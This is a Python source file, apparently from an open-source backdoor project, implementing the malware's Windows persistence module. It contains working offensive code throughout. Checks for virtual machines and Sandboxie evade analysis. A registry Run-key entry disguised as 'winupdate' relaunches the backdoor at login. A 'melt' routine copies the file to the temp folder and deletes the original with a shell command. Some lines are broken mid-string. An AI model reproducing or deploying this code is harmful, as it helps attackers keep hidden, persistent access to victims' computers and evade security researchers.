```python
"""
https://github.com/xp4xbox/Python-Backdoor

@author    xp4xbox

license: https://github.com/xp4xbox/Python-Backdoor/blob/master/license
"""

import ctypes
import os
import shutil
import subprocess
import sys
import tempfile
import winreg

import wmi

from src import errors
from src.client.persistence.persistence import Persistence

REG_STARTUP_NAME = "winupdate_owaL9"
COPY_LOCATION = os.path.normpath(os.environ["APPDATA"])


class Windows(Persistence):
    def detect_vm(self):
        _wmi = wmi.WMI()
        for objDiskDrive in _wmi.query("Select * from Win32_DiskDrive"):
            if "vbox" in objDiskDrive.Caption.lower() or "virtual" in objDiskDrive.
            Caption.lower():
                return True
        return False

    def detect_sandboxie(self):
        try:
            ctypes.windll.LoadLibrary("SbieDll.dll")
        except Exception:
            return False
        return True

    def remove_from_startup(self):
        try:
            key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
            "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.
            KEY_ALL_ACCESS)
            winreg.DeleteValue(key, REG_STARTUP_NAME)
            winreg.CloseKey(key)
        except FileNotFoundError:
            raise errors.ClientSocket.Persistence.StartupError("Program is not
            registered in startup.")
        except WindowsError as e:
            raise errors.ClientSocket.Persistence.StartupError(f"Error removing value
            {e}")
```

```python
    def add_startup(self):
        curr_file = os.path.realpath(sys.argv[0])

        if curr_file.endswith(".py"):
            raise errors.ClientSocket.Persistence.StartupError("Client must be built with pyinstaller for this feature")

        try:
            app_path = os.path.join(COPY_LOCATION, os.path.basename(curr_file))

            if not os.path.normpath(os.path.dirname(curr_file)) == COPY_LOCATION:
                try:
                    shutil.copyfile(curr_file, app_path)
                except Exception as e:
                    raise WindowsError(e)

            regkey = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_ALL_ACCESS)
            winreg.SetValueEx(regkey, REG_STARTUP_NAME, 0, winreg.REG_SZ, f"\"{app_path}\"")
            winreg.CloseKey(regkey)
        except WindowsError as e:
            raise errors.ClientSocket.Persistence.StartupError(f"Unable to add to startup {e}")

    def melt(self):
        curr_file = os.path.realpath(sys.argv[0])

        # ignore melting if client has not been built
        if curr_file.endswith(".py"):
            return

        tmp = os.path.normpath(tempfile.gettempdir()).lower()

        curr_file_dir = os.path.normpath(os.path.dirname(curr_file)).lower()

        if tmp != curr_file_dir:
            new_file = os.path.join(tmp, os.path.basename(curr_file))
            # if there is a problem copying file, abort melting
            try:
                shutil.copyfile(curr_file, new_file)
            except IOError:
                return

            os.startfile(new_file)
            subprocess.Popen(f"timeout 4 & del -f {curr_file}", shell=True)
            sys.exit(0)

```